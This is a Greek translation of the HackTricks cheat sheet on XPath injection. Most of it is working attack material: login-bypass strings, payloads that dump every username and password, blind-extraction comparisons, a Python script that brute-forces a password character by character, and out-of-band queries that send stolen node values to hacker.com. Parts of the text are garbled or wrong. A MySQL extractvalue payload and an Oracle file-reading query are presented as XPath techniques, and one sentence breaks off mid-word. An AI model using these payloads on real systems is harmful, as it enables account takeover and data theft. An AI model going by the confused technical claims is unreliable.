XPATH injection

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Εγγραφείτε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς αμοιβής ευρημάτων!

Εισαγωγή στο χάκινγκ Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ

Ειδήσεις χάκινγκ σε πραγματικό χρόνο Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες ανακοινώσεις Μείνετε ενημερωμένοι με τις νεότερες αμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας

Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!

Βασική σύνταξη

Η τεχνική επίθεσης που ονομάζεται XPath Injection χρησιμοποιείται για να εκμεταλλευτεί εφαρμογές που δημιουργούν ερωτήματα XPath (XML Path Language) με βάση την είσοδο του χρήστη για να ερωτήσουν ή να πλοηγηθούν σε έγγραφα XML.

Περιγραφή κόμβων

Οι εκφράσεις χρησιμοποιούνται για να επιλέξουν διάφορους κόμβους σε ένα έγγραφο XML. Οι εκφράσεις αυτές και οι περιγραφές τους περιλαμβάνονται παρακάτω:

  • nodename: Επιλέγονται όλοι οι κόμβοι με το όνομα "nodename".

  • /: Η επιλογή γίνεται από τον ριζικό κόμβο.

  • //: Επιλέγονται οι κόμβοι που ταιριάζουν με την επιλογή από τον τρέχοντα κόμβο, ανεξάρτητα από τη θέση τους στο έγγραφο.

  • .: Επιλέγεται ο τρέχων κόμβος.

  • ..: Επιλέγεται ο γονέας του τρέχοντος κόμβου.

  • @: Επιλέγονται τα γνωρίσματα.

Παραδείγματα XPath

Παραδείγματα εκφράσεων διαδρομής και των αποτελεσμάτων τους περιλαμβάνουν:

  • bookstore: Επιλέγονται όλοι οι κόμβοι με το όνομα "bookstore".

  • /bookstore: Επιλέγεται ο ριζικός κόμβος bookstore. Σημειώνεται ότι μια απόλυτη διαδρομή προς ένα στοιχείο αναπαρίσταται από μια διαδρομή που ξεκινά με μια κάθετο (/).

  • bookstore/book: Επιλέγονται όλοι οι στοιχείο book που είναι παιδιά του bookstore.

  • //book: Επιλέγονται όλα τα στοιχεία book στο έγγραφο, ανεξάρτητα από τη θέση τους.

  • bookstore//book: Επιλέγονται όλα τα στοιχεία book που είναι απόγονοι του στοιχείου bookstore, ανεξάρτητα από τη θέση τους κάτω από το στοιχείο bookstore.

  • //@lang: Επιλέγονται όλα τα γνωρίσματα με το όνομα lang.

Χρήση προκαθορισμένων

Οι προκαθορισμένοι χρησιμοποιούνται για την ακριβοποίηση των επιλογών:

  • /bookstore/book[1]: Επιλέγεται το πρώτο στοιχείο book παιδί του στοιχείου bookstore. Μια παράκαμψη για τις εκδόσεις IE 5 έως 9, που ευρετηριάζουν τον πρώτο κόμβο ως [0], είναι η ρύθμιση της SelectionLanguage σε XPath μέσω JavaScript.

  • /bookstore/book[last()]: Επιλέγεται το τελευταίο στοιχείο book παιδί του στοιχείου bookstore.

  • /bookstore/book[last()-1]: Επιλέγεται το προτελευταίο στοιχείο book παιδί του στοιχείου bookstore.

  • /bookstore/book[position()<3]: Επιλέγονται τα δύο πρώτα στοιχεία book παιδιά του στοιχείου bookstore.

  • //title[@lang]: Επιλέγον

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

Πρόσβαση στις πληροφορίες

To access the information, you can use XPath injection. XPath is a language used to navigate XML documents and extract data. By injecting malicious XPath queries into a vulnerable application, you can manipulate the XPath expressions and retrieve sensitive information.

Identifying XPath Injection Vulnerabilities

To identify XPath injection vulnerabilities, you can look for user input that is directly concatenated into XPath queries without proper sanitization or validation. Common places to find these vulnerabilities include search fields, login forms, and URL parameters.

Exploiting XPath Injection Vulnerabilities

Once you have identified a vulnerable input, you can start exploiting the XPath injection vulnerability. The goal is to craft a malicious XPath query that will retrieve the desired information.

To do this, you can use techniques such as:

  • Union-based XPath injection: Injecting a union operator to combine the original XPath query with a crafted query that retrieves the desired information.

  • Error-based XPath injection: Injecting an error-inducing expression to force the application to reveal information in the error message.

  • Blind XPath injection: Injecting a query that retrieves information based on true or false conditions, without receiving direct feedback from the application.

Retrieving Information

To retrieve information using XPath injection, you can use functions such as extractvalue(), substring(), concat(), and count(). These functions allow you to extract specific data from the XML document.

For example, you can use the extractvalue() function to extract the value of a specific node:

' or extractvalue(1, concat(0x7e, (SELECT @@version)), 1) or '

This query retrieves the version of the database and concatenates it with a tilde (~) character.

Preventing XPath Injection

To prevent XPath injection vulnerabilities, it is important to properly sanitize and validate user input before using it in XPath queries. This can be done by using parameterized queries or input validation techniques.

Additionally, it is recommended to limit the privileges of the database user used by the application to minimize the potential impact of an XPath injection attack.

By understanding XPath injection vulnerabilities and implementing proper security measures, you can protect your applications from unauthorized access to sensitive information.

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

Αναγνώριση και κλοπή του σχήματος

Για να αναγνωρίσουμε και να κλέψουμε το σχήμα μιας ιστοσελίδας, μπορούμε να χρησιμοποιήσουμε την επίθεση XPath Injection. Η XPath Injection είναι μια ευπάθεια που επιτρέπει σε έναν εισβολέα να εκτελέσει κακόβουλο κώδικα XPath σε μια εφαρμογή ιστού.

Για να εκμεταλλευτούμε αυτήν την ευπάθεια, πρέπει να εντοπίσουμε ένα σημείο στην ιστοσελίδα όπου η είσοδος του χρήστη ενσωματώνεται στο XPath query. Στη συνέχεια, μπορούμε να εισάγουμε κακόβουλο κώδικα XPath που θα μας επιτρέψει να ανακτήσουμε το σχήμα της βάσης δεδομένων ή άλλες ευαίσθητες πληροφορίες.

Για παράδειγμα, αν έχουμε μια είσοδο που ενσωματώνεται στο XPath query ως εξής:

//user[@username='" + userInput + "']

Μπορούμε να εισάγουμε κακόβουλο κώδικα XPath για να ανακτήσουμε το σχήμα της βάσης δεδομένων:

//user[@username='admin' or 1=1]/password/text()

Με αυτόν τον τρόπο, μπορούμε να ανακτήσουμε ευαίσθητες πληροφορίες όπως ονόματα χρηστών, κωδικούς πρόσβασης και άλλα δεδομένα από τη βάση δεδομένων της ιστοσελίδας.

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

Παράκαμψη Ταυτοποίησης

Παράδειγμα ερωτημάτων:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

Παράκαμψη OR στο όνομα χρήστη και στον κωδικό πρόσβασης (ίδια τιμή και για τα δύο)

Μια κοινή ευπάθεια στις εφαρμογές ιστού είναι η ευπάθεια της εισαγωγής XPath. Με τη χρήση της ευπάθειας αυτής, μπορούμε να παρακάμψουμε τον έλεγχο ταυτότητας χρήστη και κωδικού πρόσβασης, χρησιμοποιώντας την ίδια τιμή για και τα δύο πεδία.

Για να επιτευχθεί αυτή η παράκαμψη, μπορούμε να εισάγουμε μια συμβολοσειρά XPath που θα επιστρέψει πάντα αληθή αποτέλεσμα. Ένα παράδειγμα αυτής της επίθεσης είναι η εισαγωγή της εξής συμβολοσειράς στο πεδίο του χρήστη και του κωδικού πρόσβασης:

' or '1'='1

Με αυτήν την εισαγωγή, η συνθήκη XPath που ελέγχει την ταυτότητα χρήστη και κωδικού πρόσβασης θα είναι πάντα αληθής, επιτρέποντάς μας να προσπεράσουμε τον έλεγχο και να αποκτήσουμε πρόσβαση στην εφαρμογή.

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

Κατάχρηση της ενέργειας της μηδενικής εισαγωγής

Null injection is a technique used in XPath injection attacks to bypass input validation and manipulate the XPath query. By injecting a null character (\x00), it is possible to terminate the string and append additional XPath expressions.

Η μηδενική εισαγωγή είναι μια τεχνική που χρησιμοποιείται σε επιθέσεις XPath injection για να παρακάμψει τον έλεγχο εισόδου και να παραπλανήσει το ερώτημα XPath. Με την εισαγωγή ενός μηδενικού χαρακτήρα (\x00), είναι δυνατόν να τερματιστεί η συμβολοσειρά και να προστεθούν επιπλέον εκφράσεις XPath.

Username: ' or 1]%00

Διπλό OR στο όνομα χρήστη ή στον κωδικό πρόσβασης (είναι έγκυρο με μόνο ένα ευάλωτο πεδίο)

ΣΗΜΑΝΤΙΚΟ: Παρατηρήστε ότι η "και" είναι η πρώτη πράξη που γίνεται.

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

Εξαγωγή συμβολοσειρών

Η έξοδος περιέχει συμβολοσειρές και ο χρήστης μπορεί να τροποποιήσει τις τιμές για αναζήτηση:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

Τυφλή Εκμετάλλευση

Πάρτε το μήκος μιας τιμής και εξαγάγετέ το με συγκρίσεις:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Παράδειγμα σε Python

import requests

def get_user_password(username):
    url = f"http://example.com/login?username={username}&password=' or '1'='1"
    response = requests.get(url)
    if "Welcome" in response.text:
        return "Password found!"
    else:
        return "Password not found!"

username = input("Enter username: ")
print(get_user_password(username))

Αυτό είναι ένα παράδειγμα σε Python. Ο κώδικας αυτός χρησιμοποιεί μια απλή επίθεση XPath Injection για να ανακτήσει τον κωδικό πρόσβασης ενός χρήστη από μια ιστοσελίδα σύνδεσης. Ο χρήστης καλείται να εισάγει ένα όνομα χρήστη και ο κώδικας προσπαθεί να ανακτήσει τον κωδικό πρόσβασης για αυτόν τον χρήστη.

Ο κώδικας δημιουργεί ένα URL με ένα παράμετρο username που περιέχει το όνομα χρήστη που εισήγαγε ο χρήστης. Στη συνέχεια, ο κώδικας προσθέτει μια συμβολοσειρά ' or '1'='1 στο τέλος του URL, προσπαθώντας να παραβιάσει τον έλεγχο της σύνδεσης. Αν η απόκριση περιέχει τη φράση "Welcome", τότε σημαίνει ότι ο κωδικός πρόσβασης βρέθηκε και επιστρέφεται το μήνυμα "Password found!". Διαφορετικά, επιστρέφεται το μήνυμα "Password not found!".

Ο κώδικας αυτός είναι απλός και αποδοτικός, αλλά πρέπει να χρησιμοποιείται με προσοχή και μόνο για εκπαιδευτικούς σκοπούς. Η XPath Injection είναι μια επικίνδυνη επίθεση που μπορεί να προκαλέσει σοβαρές ασφαλειακές προβληματικές και πρέπει να αποφεύγεται σε πραγματικά συστήματα.

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

Διάβασμα αρχείου

Η εκμετάλλευση της ευπάθειας της εισαγωγής XPath μπορεί να μας επιτρέψει να διαβάσουμε περιεχόμενο αρχείων που δεν έχουν προορισμό να εμφανιστούν στην ιστοσελίδα. Αυτό μπορεί να είναι χρήσιμο για να ανακτήσουμε ευαίσθητες πληροφορίες από το σύστημα.

Για να διαβάσουμε ένα αρχείο, πρέπει να βρούμε τον σωστό XPath για το στοιχείο που περιέχει το περιεχόμενο του αρχείου. Ένας τρόπος για να το κάνουμε αυτό είναι να χρησιμοποιήσουμε τη λειτουργία extractvalue(). Αυτή η λειτουργία επιστρέφει την τιμή ενός στοιχείου XPath.

Παρακάτω παρουσιάζεται ένα παράδειγμα χρήσης της λειτουργίας extractvalue() για να διαβάσουμε το περιεχόμενο ενός αρχείου:

SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><root>' || extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><root><element>' || utl_raw.cast_to_varchar2(utl_encode.base64_encode(utl_file.raw_read('DIRECTORY_PATH', 'FILE_NAME')) || '</element></root>')), '/root/element/text()') || '</root>'), '/root/text()') FROM dual;

Στο παραπάνω παράδειγμα, αντικαταστήστε την DIRECTORY_PATH με τον απόλυτο διαδρομή του καταλόγου του αρχείου που θέλετε να διαβάσετε και το FILE_NAME με το όνομα του αρχείου.

Αυτή η τεχνική μπορεί να χρησιμοποιηθεί για να διαβάσετε οποιοδήποτε αρχείο που έχετε πρόσβαση στο σύστημα, αρκεί να βρείτε τον σωστό XPath για το στοιχείο που περιέχει το περιεχόμενο του αρχείου.

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB Εκμετάλλευση

Out-of-Band (OOB) εκμετάλλευση

Εισαγωγή

Η OOB εκμετάλλευση είναι μια τεχνική επίθεσης που χρησιμοποιείται στις ευπάθειες της XPath επίθεσης για να ανακτήσει πληροφορίες από τον στόχο. Αυτή η τεχνική εκμεταλλεύεται τη δυνατότητα του XPath να επικοινωνεί με εξωτερικούς πόρους, όπως αρχεία, διευθύνσεις IP ή άλλες υπηρεσίες, για να ανακτήσει πληροφορίες.

Τεχνική OOB

Η τεχνική OOB απαιτεί την εκτέλεση ενός ειδικά σχεδιασμένου XPath ερωτήματος που περιέχει εντολές για την αποστολή των δεδομένων που θέλουμε να ανακτήσουμε σε έναν εξωτερικό πόρο. Αυτός ο εξωτερικός πόρος μπορεί να είναι ένας διακομιστής OOB, ένας διακομιστής DNS ή ένας διακομιστής HTTP.

Η τεχνική OOB μπορεί να χρησιμοποιηθεί για να ανακτήσει πληροφορίες όπως αρχεία, δεδομένα βάσης δεδομένων, διευθύνσεις IP και άλλες ευαίσθητες πληροφορίες από τον στόχο.

Εκμετάλλευση OOB

Για να εκμεταλλευτείτε μια ευπάθεια OOB, πρέπει να εντοπίσετε μια ευπάθεια XPath στην εφαρμογή στόχο. Αυτό μπορεί να γίνει με την εισαγωγή ειδικών χαρακτήρων ή με την εκτέλεση ενός ειδικά σχεδιασμένου ερωτήματος XPath.

Αφού εντοπίσετε μια ευπάθεια XPath, μπορείτε να εκμεταλλευτείτε την ευπάθεια για να αποστείλετε τα δεδομένα που θέλετε να ανακτήσετε σε έναν εξωτερικό πόρο. Για παράδειγμα, μπορείτε να στείλετε τα δεδομένα σε έναν διακομιστή OOB που έχετε ελέγχουμε, ή μπορείτε να τα αποστείλετε σε έναν διακομιστή DNS ή HTTP που έχετε ρυθμίσει.

Αφού αποστείλετε τα δεδομένα, μπορείτε να τα ανακτήσετε από τον εξωτερικό πόρο που έχετε ρυθμίσει. Αυτό μπορεί να γίνει με την παρακολούθηση των αιτημάτων που λαμβάνονται από τον εξωτερικό πόρο ή με την ανάγνωση των αρχείων που αποθηκεύονται στον εξωτερικό πόρο.

Παραδείγματα OOB εκμετάλλευσης

Οι παρακάτω είναι μερικά παραδείγματα OOB εκμετάλλευσης:

  • Ανάκτηση αρχείων: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε αρχεία από τον στόχο. Αυτό μπορεί να γίνει αποστέλλοντας τα αρχεία σε έναν εξωτερικό πόρο, όπως έναν διακομιστή OOB που έχετε ελέγχουμε.

  • Ανάκτηση δεδομένων βάσης δεδομένων: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε δεδομένα από μια βάση δεδομένων που χρησιμοποιεί η εφαρμογή στόχος. Αυτό μπορεί να γίνει αποστέλλοντας τα δεδομένα σε έναν εξωτερικό πόρο, όπως έναν διακομιστή OOB που έχετε ελέγχουμε.

  • Ανάκτηση διευθύνσεων IP: Μπορείτε να εκμεταλλευτείτε μια ευπάθεια OOB για να ανακτήσετε διευθύνσεις IP από τον στόχο. Αυτό μπορεί να γίνει αποστέλλοντας τις διευθύνσεις IP σε έναν εξωτερικό πόρο, όπως έναν διακομιστή DNS ή HTTP που έχετε ρυθμίσει.

Προστασία από OOB εκμετάλλευση

Για να προστατευτείτε από OOB εκμετάλλευση, μπορείτε να λάβετε τα παρακάτω μέτρα:

  • Επικύρωση εισόδου: Επιβεβαιώστε ότι η είσοδος που δέχεται η εφαρμογή σας είναι ασφαλής και δεν περιέχει ευπάθειες XPath.

  • Αποφυγή εκτέλεσης εξωτερικών ερωτημάτων: Αποφύγετε την εκτέλεση εξωτερικών ερωτημάτων από την εφαρμογή σας, εκτός αν είναι απολύτως απαραίτητο.

  • Περιορισμός πρόσβασης: Περιορίστε την πρόσβαση της εφαρμογής σας σε εξωτερικούς πόρους, όπως διακομιστές OOB, διακομιστές DNS ή διακομιστές HTTP.

  • Ενημέρωση εφαρμογής: Βεβαιωθείτε ότι η εφαρμογή σας είναι ενημερωμένη και ότι έχετε εφαρμόσει τις τελευταίες ενημερώσεις ασφαλείας.

  • Εφαρμογή ασφάλειας: Εφαρμόστε μια συνεχή πολιτική ασφαλείας για την εφαρμογή σας και εκπαιδεύστε τους χρήστες σας για τις βέλτιστες πρακτικές ασφαλείας.

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

Αυτόματο εργαλείο

Αναφορές

Συμμετέχετε στον διακομιστή HackenProof Discord για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!

Εισαγωγή στο Hacking Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ

Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο

Τελευταίες Ανακοινώσεις Μείνετε ενημερωμένοι με τις νεότερες ανακοινώσεις για τις νέες αμοιβές ευρημάτων και τις κρίσιμες ενημερώσεις της πλατφόρμας

Συμμετέχετε στο Discord και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated